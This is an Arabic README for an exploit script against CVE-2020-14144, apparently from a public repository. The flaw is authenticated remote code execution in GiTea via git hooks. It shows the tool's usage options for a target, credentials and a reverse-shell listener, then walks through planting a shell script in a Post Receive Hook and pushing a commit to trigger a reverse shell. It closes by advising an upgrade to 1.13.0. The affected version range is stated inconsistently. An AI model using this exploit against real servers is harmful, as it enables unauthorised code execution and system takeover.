
سكربت لاستغلال CVE-2020-14144 - تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution) بعد المصادقة في GiTea باستخدام خطافات git
سكربت لاستغلال CVE-2020-14144 - تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة في GiTea باستخدام git hooks
-f$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
من أجل استغلال هذه الثغرة/الميزة بنجاح، يجب أن يكون إصدار خادم GiTea المستهدف بين الإصدار 1.1.0 والإصدار 1.13، وتحتاج إلى حساب صالح (اسم مستخدم، كلمة مرور) مع تفعيل صلاحية "May create git hooks".

من منظور إدارة الأنظمة، تبدو عملية gitea بهذا الشكل قبل الاستغلال:

أولاً وقبل كل شيء، نحتاج إلى إنشاء مستودع على واجهة الويب الخاصة بـ GiTea باستخدام حسابنا. ننشئ المستودع ثم ننتقل إلى Settings -> Git Hooks -> Post Receive Hook. في هذا الخطاف يمكنك كتابة سكربت شل سيتم تنفيذه بعد استلام commit جديد.

الآن سننشئ دليلاً مؤقتًا على جهازنا المهاجم، ثم ندفع (push) التغييرات إلى المستودع البعيد. سيؤدي ذلك إلى تشغيل سكربت Post Receive Hook.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
بعد دفع الـ commit إلى المستودع البعيد، سيتم تشغيل سكربت Post Receive Hook وسنحصل على قشرة عكسية (Reverse Shell)!

بعد الاستغلال، يمكن لمسؤول النظام بسهولة رؤية القشرة العكسية المنفصلة الخاصة بنا في العمليات الفرعية لـ GiTea:

يُنصح بالتحديث إلى الإصدار 1.13.0 على الأقل.
طلبات السحب (Pull Requests) مرحب بها. لا تتردد في فتح issue إذا كنت ترغب في إضافة ميزات أخرى.